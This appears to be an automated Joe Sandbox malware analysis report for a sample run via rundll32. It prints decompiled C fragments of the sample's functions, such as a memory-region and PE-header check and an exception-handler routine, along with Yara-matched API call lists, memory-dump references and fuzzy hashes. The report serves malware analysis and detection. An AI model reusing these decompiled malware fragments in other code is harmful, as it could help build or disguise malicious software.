								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x4aba380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x4aba3c8 = 1;
										__eflags =  *0x4aba3c8;
										if( *0x4aba3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x4aba380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x4aba3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x4aba380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x4aba388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x4aba384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x4aba388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4aba388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x4aba3c8 = 1;
							__eflags =  *0x4aba3c8;
							if( *0x4aba3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x4aba388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x4aba388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x4aba3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x4aba388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x4aba380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x4aba388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4aba388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                                            0x04ab844b
                                            0x04ab844e
                                            0x04ab8454
                                            0x04ab8472
                                            0x00000000
                                            0x04ab8472
                                            0x04ab845c
                                            0x04ab8465
                                            0x04ab846b
                                            0x04ab847a
                                            0x04ab847d
                                            0x04ab8480
                                            0x04ab848a
                                            0x04ab848a
                                            0x04ab848c
                                            0x04ab848f
                                            0x04ab8491
                                            0x04ab8491
                                            0x04ab8493
                                            0x04ab8496
                                            0x00000000
                                            0x00000000
                                            0x04ab8498
                                            0x04ab849a
                                            0x04ab8500
                                            0x04ab8500
                                            0x04ab865e
                                            0x00000000
                                            0x04ab865e
                                            0x04ab849c
                                            0x04ab849c
                                            0x04ab84a0
                                            0x04ab84a2
                                            0x04ab84a2
                                            0x04ab84a2
                                            0x04ab84a2
                                            0x04ab84a5
                                            0x04ab84a6
                                            0x04ab84a9
                                            0x04ab84a9
                                            0x04ab84ad
                                            0x04ab84b1
                                            0x04ab84bf
                                            0x04ab84bf
                                            0x04ab84c7
                                            0x04ab84cd
                                            0x04ab84cf
                                            0x04ab84d1
                                            0x04ab84e1
                                            0x04ab84ee
                                            0x04ab84f2
                                            0x04ab84f7
                                            0x04ab84f9
                                            0x04ab8577
                                            0x04ab8577
                                            0x04ab84fb
                                            0x04ab84fb
                                            0x04ab84fb
                                            0x04ab8579
                                            0x04ab857b
                                            0x04ab865c
                                            0x04ab865c
                                            0x00000000
                                            0x04ab8581
                                            0x04ab8581
                                            0x04ab8588
                                            0x00000000
                                            0x00000000
                                            0x04ab858e
                                            0x04ab8592
                                            0x04ab85ee
                                            0x04ab85f0
                                            0x04ab85f8
                                            0x04ab85fa
                                            0x04ab85fc
                                            0x00000000
                                            0x00000000
                                            0x04ab85fe
                                            0x04ab8604
                                            0x04ab8606
                                            0x04ab8608
                                            0x04ab861d
                                            0x04ab861d
                                            0x04ab861f
                                            0x04ab864e
                                            0x04ab8655
                                            0x00000000
                                            0x04ab8655
                                            0x04ab8623
                                            0x04ab8624
                                            0x04ab8626
                                            0x04ab8628
                                            0x04ab8628
                                            0x04ab862a
                                            0x04ab862c
                                            0x04ab862e
                                            0x04ab8642
                                            0x04ab8642
                                            0x04ab8645
                                            0x04ab8647
                                            0x04ab8647
                                            0x04ab8648
                                            0x04ab8648
                                            0x00000000
                                            0x04ab8630
                                            0x04ab8630
                                            0x04ab8630
                                            0x04ab8639
                                            0x04ab863a
                                            0x04ab863c
                                            0x04ab863e
                                            0x04ab863e
                                            0x00000000
                                            0x04ab8630
                                            0x04ab862e
                                            0x04ab860a
                                            0x04ab8611
                                            0x04ab8611
                                            0x04ab8613
                                            0x00000000
                                            0x00000000
                                            0x04ab8615
                                            0x04ab8616
                                            0x04ab8619
                                            0x04ab861b
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab861b
                                            0x00000000
                                            0x04ab8611
                                            0x04ab8594
                                            0x04ab8597
                                            0x04ab859c
                                            0x00000000
                                            0x00000000
                                            0x04ab85a5
                                            0x04ab85a7
                                            0x04ab85ad
                                            0x00000000
                                            0x00000000
                                            0x04ab85b3
                                            0x04ab85b9
                                            0x00000000
                                            0x00000000
                                            0x04ab85bf
                                            0x04ab85c1
                                            0x04ab85ca
                                            0x04ab85ce
                                            0x00000000
                                            0x00000000
                                            0x04ab85d4
                                            0x04ab85d7
                                            0x04ab85d9
                                            0x00000000
                                            0x00000000
                                            0x04ab85e0
                                            0x04ab85e2
                                            0x00000000
                                            0x00000000
                                            0x04ab85e4
                                            0x04ab85e8
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab85e8
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab84d3
                                            0x04ab84d3
                                            0x04ab84d3
                                            0x04ab84da
                                            0x00000000
                                            0x00000000
                                            0x04ab84dc
                                            0x04ab84dd
                                            0x04ab84df
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab84df
                                            0x04ab8507
                                            0x04ab8509
                                            0x00000000
                                            0x00000000
                                            0x04ab8519
                                            0x04ab851b
                                            0x04ab851d
                                            0x00000000
                                            0x00000000
                                            0x04ab8523
                                            0x04ab852a
                                            0x04ab8556
                                            0x04ab8556
                                            0x04ab8558
                                            0x04ab855a
                                            0x04ab856e
                                            0x04ab8570
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab855c
                                            0x04ab855c
                                            0x04ab855c
                                            0x04ab8565
                                            0x04ab8566
                                            0x04ab8568
                                            0x04ab856a
                                            0x04ab856a
                                            0x00000000
                                            0x04ab855c
                                            0x04ab852c
                                            0x04ab852c
                                            0x04ab852f
                                            0x04ab8531
                                            0x04ab8543
                                            0x04ab8543
                                            0x04ab8546
                                            0x04ab8548
                                            0x04ab8548
                                            0x04ab8549
                                            0x04ab8549
                                            0x04ab854f
                                            0x04ab854f
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab8533
                                            0x04ab8533
                                            0x04ab8533
                                            0x04ab853a
                                            0x00000000
                                            0x00000000
                                            0x04ab853c
                                            0x04ab853c
                                            0x04ab853d
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab853d
                                            0x04ab853f
                                            0x04ab8541
                                            0x04ab8554
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab8554
                                            0x00000000
                                            0x04ab8541
                                            0x04ab84b3
                                            0x04ab84b6
                                            0x04ab84b9
                                            0x00000000
                                            0x00000000
                                            0x04ab84bb
                                            0x04ab84bd
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab84bd
                                            0x04ab8482
                                            0x04ab8484
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x00000000

                                            APIs
                                            • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 04AB84F2
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: MemoryQueryVirtual
                                            • String ID:
                                            • API String ID: 2850889275-0
                                            • Opcode ID: 47a3dcdfac2fa9cdb8db834cbb89677f427318e8271a6c303e776d98260ab5eb
                                            • Instruction ID: e54e4bc67622ac25ef7e77ab6a341f974cb29a613d4449164b4d1ab6486e5746
                                            • Opcode Fuzzy Hash: 47a3dcdfac2fa9cdb8db834cbb89677f427318e8271a6c303e776d98260ab5eb
                                            • Instruction Fuzzy Hash: 0E61B1346002069FDB29EF2DC8A06E977ADFB85354B24892DD4D6C7293E739F94287C0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE488B Relevance: 1.6, APIs: 1, Instructions: 57processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 05DE48FB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateProcessUser
                                            • String ID:
                                            • API String ID: 2217836671-0
                                            • Opcode ID: c6c3ae6d733872e870f9541a225287ed07879583a53fa7daa3353b5b1e04354e
                                            • Instruction ID: be50a90b7f8dbddc49fcd7bf9a1f2ea8e3b684ba070c40efdfc716699e33aef0
                                            • Opcode Fuzzy Hash: c6c3ae6d733872e870f9541a225287ed07879583a53fa7daa3353b5b1e04354e
                                            • Instruction Fuzzy Hash: E2119032215149AFDF025F98DD41DEA7F6AFF0C368B054216FA1962220C732D871AB91
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD29B2 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlNtStatusToDosError.NTDLL(00000000), ref: 05DD29CA
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorStatus
                                            • String ID:
                                            • API String ID: 1596131371-0
                                            • Opcode ID: deeeaba1a5f971e7e867d51ce0876c0741e8e7e1738dbfb571d290c23b3d8433
                                            • Instruction ID: 86afb020cd03338b6ee95af1ee5409fe442627fd9b699272c47f0037f7adfffc
                                            • Opcode Fuzzy Hash: deeeaba1a5f971e7e867d51ce0876c0741e8e7e1738dbfb571d290c23b3d8433
                                            • Instruction Fuzzy Hash: 74C01236505202ABDE095658D82992A7E11FB50300F04841FB14581570CB309450E711
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF37F4 Relevance: .1, Instructions: 77COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 1b247f9ab456798328bbce273d756eab87a009a6d6090662f68ee87ccfb315f2
                                            • Instruction ID: df3b609f069efa34ddb633bb3f6942aae294b8b9e0f26f45a2ddc9eac8323c9f
                                            • Opcode Fuzzy Hash: 1b247f9ab456798328bbce273d756eab87a009a6d6090662f68ee87ccfb315f2
                                            • Instruction Fuzzy Hash: 92210672900204EFDB10DF68C8C486BBBA5FF44310B0B886ADA5A8B245DB30F915CBF1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB821C Relevance: .1, Instructions: 77COMMONCrypto
                                            Download Yara Rule
                                            C-Code - Quality: 71%
                                            			E04AB821C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E04AB8387(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E04AB8441(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E04AB832C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E04AB8387(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E04AB8423(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                                            0x04ab8220
                                            0x04ab8221
                                            0x04ab8222
                                            0x04ab8225
                                            0x04ab8227
                                            0x04ab822a
                                            0x04ab822b
                                            0x04ab822d
                                            0x04ab822e
                                            0x04ab822f
                                            0x04ab8232
                                            0x04ab823c
                                            0x04ab82ed
                                            0x04ab82f4
                                            0x04ab82fd
                                            0x04ab8242
                                            0x04ab8242
                                            0x04ab8248
                                            0x04ab824e
                                            0x04ab8251
                                            0x04ab8254
                                            0x04ab8258
                                            0x04ab825d
                                            0x04ab8262
                                            0x04ab82e2
                                            0x00000000
                                            0x04ab8264
                                            0x04ab8264
                                            0x04ab8270
                                            0x04ab8272
                                            0x04ab82cd
                                            0x04ab82cd
                                            0x04ab82d3
                                            0x00000000
                                            0x04ab8274
                                            0x04ab8283
                                            0x04ab8285
                                            0x04ab8286
                                            0x04ab8287
                                            0x04ab828a
                                            0x04ab828a
                                            0x04ab828c
                                            0x00000000
                                            0x04ab828e
                                            0x04ab828e
                                            0x04ab82d8
                                            0x04ab8290
                                            0x04ab8290
                                            0x04ab8294
                                            0x04ab829c
                                            0x04ab82a1
                                            0x04ab82a6
                                            0x04ab82b2
                                            0x04ab82ba
                                            0x04ab82c1
                                            0x04ab82c7
                                            0x04ab82cb
                                            0x00000000
                                            0x04ab82cb
                                            0x04ab828e
                                            0x04ab828c
                                            0x00000000
                                            0x04ab8272
                                            0x04ab82e6
                                            0x04ab82e6
                                            0x04ab82e6
                                            0x04ab8262
                                            0x04ab8302
                                            0x04ab8309

                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                                            • Instruction ID: 09e8b514016acbde25722c973177b932874d1961391dbb2ad84f077a937342c4
                                            • Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                                            • Instruction Fuzzy Hash: B421A4329006049FDB10EF6CC8809E7BBADBF45310B49816CDDA59B246E734F915CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF1D04 Relevance: 65.2, APIs: 36, Strings: 1, Instructions: 457synchronizationtimethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEB138: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DEB16C
                                              • Part of subcall function 05DEB138: GetLastError.KERNEL32 ref: 05DEB22D
                                              • Part of subcall function 05DEB138: ReleaseMutex.KERNEL32(00000000), ref: 05DEB236
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DF1DA2
                                              • Part of subcall function 05DD47FF: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 05DD4819
                                              • Part of subcall function 05DD47FF: CreateWaitableTimerA.KERNEL32(05DF9208,?,?), ref: 05DD4836
                                              • Part of subcall function 05DD47FF: GetLastError.KERNEL32(?,?), ref: 05DD4847
                                              • Part of subcall function 05DD47FF: GetSystemTimeAsFileTime.KERNEL32(?,00000000,?,?,?,?), ref: 05DD4887
                                              • Part of subcall function 05DD47FF: SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 05DD48A6
                                              • Part of subcall function 05DD47FF: HeapFree.KERNEL32(00000000,?,00000000,?,?,?,?), ref: 05DD48BC
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DF1E05
                                            • StrChrA.SHLWAPI(00000000,0000007C,00000040,00000000,00000000,00000000), ref: 05DF1E81
                                            • StrTrimA.SHLWAPI(00000000,?), ref: 05DF1EA3
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 05DF1EE3
                                              • Part of subcall function 05DEEBC8: RtlAllocateHeap.NTDLL(00000000,00000010), ref: 05DEEBEA
                                              • Part of subcall function 05DEEBC8: HeapFree.KERNEL32(00000000,00000000,00000038,00000000,00000000,?), ref: 05DEEC18
                                            • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 05DF1F89
                                            • CloseHandle.KERNEL32(?), ref: 05DF2218
                                              • Part of subcall function 05DE2D5C: WaitForSingleObject.KERNEL32(?,00000000), ref: 05DE2D68
                                              • Part of subcall function 05DE2D5C: HeapFree.KERNEL32(00000000,?,?), ref: 05DE2D96
                                              • Part of subcall function 05DE2D5C: ResetEvent.KERNEL32(?,?), ref: 05DE2DB0
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF1FBE
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF1FCD
                                            • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 05DF1FFA
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 05DF2014
                                            • _allmul.NTDLL(0000003C,00000000,FF676980,000000FF), ref: 05DF205C
                                            • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,0000003C,00000000,FF676980,000000FF), ref: 05DF2076
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DF208C
                                            • ReleaseMutex.KERNEL32(?), ref: 05DF20A9
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF20BA
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF20C9
                                            • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 05DF20FD
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 05DF2117
                                            • SwitchToThread.KERNEL32 ref: 05DF2119
                                            • ReleaseMutex.KERNEL32(?), ref: 05DF2123
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF2161
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF216C
                                            • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 05DF218F
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 05DF21A9
                                            • SwitchToThread.KERNEL32 ref: 05DF21AB
                                            • ReleaseMutex.KERNEL32(?), ref: 05DF21B5
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DF21CA
                                            • CloseHandle.KERNEL32(?), ref: 05DF222C
                                            • CloseHandle.KERNEL32(?), ref: 05DF2238
                                            • CloseHandle.KERNEL32(?), ref: 05DF2244
                                            • CloseHandle.KERNEL32(?), ref: 05DF2250
                                            • CloseHandle.KERNEL32(?), ref: 05DF225C
                                            • CloseHandle.KERNEL32(?), ref: 05DF2268
                                            • CloseHandle.KERNEL32(?), ref: 05DF2274
                                            • RtlExitUserThread.NTDLL(00000000), ref: 05DF2283
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Wait$CloseHandleObjectSingle$TimerWaitable$MultipleObjects$HeapMutexRelease_allmul$FreeThread$CreateErrorEventLastSwitchTime$AllocateExitFileOpenResetSystemTrimUser
                                            • String ID: v
                                            • API String ID: 2369282788-1801730948
                                            • Opcode ID: dcc32bdff1913e6d4362e1c97ceeb6bf1cf1dcafc2f3326bab3fa143ad8724c6
                                            • Instruction ID: f4f9c14d7b398ee4b4f3f32998855cf39b9aa073b3e25cd51543562e8ad6f7a2
                                            • Opcode Fuzzy Hash: dcc32bdff1913e6d4362e1c97ceeb6bf1cf1dcafc2f3326bab3fa143ad8724c6
                                            • Instruction Fuzzy Hash: 89F1A471518345AFDB10AF68DC85E2FBBE9FB84354F054A2BF695932A0DB319C40CB62
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE984F Relevance: 42.3, APIs: 28, Instructions: 314synchronizationmemorythreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 05DE9876
                                            • memcpy.NTDLL(?,?,00000010), ref: 05DE9899
                                            • memset.NTDLL ref: 05DE98E5
                                            • lstrcpyn.KERNEL32(?,?,00000034), ref: 05DE98F9
                                            • GetLastError.KERNEL32 ref: 05DE9927
                                            • GetLastError.KERNEL32 ref: 05DE996E
                                            • GetLastError.KERNEL32 ref: 05DE998D
                                            • WaitForSingleObject.KERNEL32(?,000927C0), ref: 05DE99C7
                                            • WaitForSingleObject.KERNEL32(?,00000000), ref: 05DE99D5
                                            • GetLastError.KERNEL32 ref: 05DE9A4F
                                            • ReleaseMutex.KERNEL32(?), ref: 05DE9A61
                                            • RtlExitUserThread.NTDLL(?), ref: 05DE9A77
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DE9AA0
                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 05DE9ABD
                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000010), ref: 05DE9B0D
                                            • DeleteFileW.KERNEL32(00000000,?,?,?,00000000,00000010), ref: 05DE9B17
                                            • GetLastError.KERNEL32 ref: 05DE9B21
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE9B32
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,00000000,00000010), ref: 05DE9B54
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE9B8B
                                            • RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DE9B9F
                                            • RegCloseKey.ADVAPI32(?,?,?,00000000,00000010), ref: 05DE9BA8
                                            • SuspendThread.KERNEL32(?), ref: 05DE9BB7
                                            • CreateEventA.KERNEL32(05DF9208,00000001,00000000), ref: 05DE9BCB
                                            • SetEvent.KERNEL32(00000000), ref: 05DE9BD8
                                            • CloseHandle.KERNEL32(00000000), ref: 05DE9BDF
                                            • Sleep.KERNEL32(000001F4), ref: 05DE9BF2
                                            • ResumeThread.KERNEL32(?), ref: 05DE9C16
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$CloseFreeHeapObjectSingleThreadWait$CriticalEventHandleSection$CreateDeleteEnterExitFileLeaveMutexOpenReleaseResumeSleepSuspendUserlstrcpynmemcpymemset
                                            • String ID:
                                            • API String ID: 4191902400-0
